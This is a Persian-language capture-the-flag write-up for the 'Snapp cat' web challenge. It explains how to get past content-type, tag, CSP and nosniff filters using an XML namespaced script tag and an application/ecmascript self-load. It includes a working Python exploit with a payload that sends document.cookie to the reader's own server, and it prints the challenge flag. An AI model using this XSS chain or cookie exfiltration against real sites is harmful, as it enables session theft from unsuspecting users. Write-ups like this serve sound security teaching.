Snapp cat
توضیح حل چالش¶
کد سرور توی این سوال به ما داده شده و ما میتونیم اونو دانلود کنیم:
#!/usr/bin/env node
const express = require('express')
const app = express()
app.get('/',(req,res)=>{
let ct = (req.query.ct || 'ct').toString()
let buf = Buffer.from(((req.query.buf || btoa('?buf=base64str')).toString()),'base64')
if(!/^[a-z/]+$/.test(ct) || /htm|javascript/i.test(ct)){
return res.send('na')
}
if(/<[a-z]/i.test(buf)){
return res.send('na')
}
res.setHeader('Content-Type',ct)
res.setHeader('X-Content-Type-Options','nosniff')
res.setHeader('Content-Security-Policy',`default-src 'self';`)
res.send(buf)
})
app.listen(8000)
همون طور که میبینین سرور از ما دوتا پارامتر (ct, buf) میگیره که ct همون content-type هستش و buf محتوایی هستش که سرور به ما برمیگردونه
قبل از اینکه سرور به ما دیتایی که داریم رو برگردونه ، یک سری ولیدیشن انجام میده مثلا ما نمیتونم از content type (text/html, text/javascript) استفاده کنیم و همینطور توی دیتایی که به عنوان buf بهش میدیم هم نمیتونیم از تگ های html استفاده کنیم
ولی بعد از چند تست و بررسی های content type هایی که میتونیم روش کد جاوااسکریپت اجرا کنیم با این ها مواجه شدم:
text/html
application/xhtml+xml
application/xml
text/xml
image/svg+xml
text/xsl
و تنها content type هایی که میتونیم استفاده کنیم: text/xml, text/xsl هستش که اینجا من از text/xml استفاده کردم
ولی یه مشکلی بود ، اینکه ما نمیتونیم از تگی استفاده کنیم که حرف اولش بین a-z | A-Z باشه. ولی بعد از سرچ زدن درباره xml متوجه شدم که ما میتونیم از _ (underline) استفاده کنیم به عنوان اسم تگ
پس payload ام شد این:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<_:script xmlns:_="http://www.w3.org/1999/xhtml">XSS</_:script>
ولی یه مشکلی بود که اصلا حواسم بهش نبود و اون هم content-security-policy بود که نمیزاشت ما از unsafe-inline استفاده کنیم و تنها کاری که میتونستیم اینجا بکنیم این بود که بیایم یک کد جاوااسکریپت از همین origin لوید کنیم
و خب این کار هم میشد با این حرکت انجام داد:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<_:script xmlns:_="http://www.w3.org/1999/xhtml" src="?buf=XSS"></_:script>
ولی باز هم یک مشکل بود که اون هدر X-Content-Type-Options بود. توی توضیحات این هدر تو سایت MDN گفته شده که اگه ریکویستی که ما میزنیم ، content type اش با محتوایی که قراره لوید بشه فرق داشته باشه ریکویست بلاک میشه
برای مثال فرض کنین ما content-type رو بزاریم text/css ولی محتوایی که مرورگر لوید میکنه جاوااسکریپت باشه ، که توی این شرایط ریکویست ما بلافاصله بلاک میشه
خب ما نمیتونیم از text/javascript استفاده کنیم چون که قبلش چک میکنه که javascript توی ct نباشه ولی میتونیم از application/ecmascript استفاده کنیم و اینطوری میتونیم x-content-type-options رو دور بزنیم و XSS بگیریم
و در نهایت پیلود ما میشه:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<_:script xmlns:_="http://www.w3.org/1999/xhtml" src="?buf=XSS?ct=application/ecmascript"></_:script>
برای حل این سوال میتونین از کد زیر استفاده کنین
import requests
import base64
import sys
import html
url = 'https://b64.spchallenge.ir/'
xss_pay = """window.location='https://REDACTED?flag=' + document.cookie"""
pa = "?buf=%s&ct=%s" % (base64.b64encode(xss_pay.encode()).decode(), "application/ecmascript")
p = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<_:script xmlns:_="http://www.w3.org/1999/xhtml" src="%s"></_:script>""" % html.escape(pa)
buffer, ct = base64.b64encode(p.encode()).decode(), "text/xml"
d = requests.get(url, params={'buf':buffer, 'ct': ct})
print(d.url)
به جای REDACTED از آدرس سرور خودتون استفاده کنین و بعد از اجرای کد بالا بهتون یه آدرس میده که اون رو میتونین بدین به بات تا فلگ رو براتون بفرسته
FLAG 
SNAPP{9a952b93a0f0ad23304547c4de2025fb}
نویسنده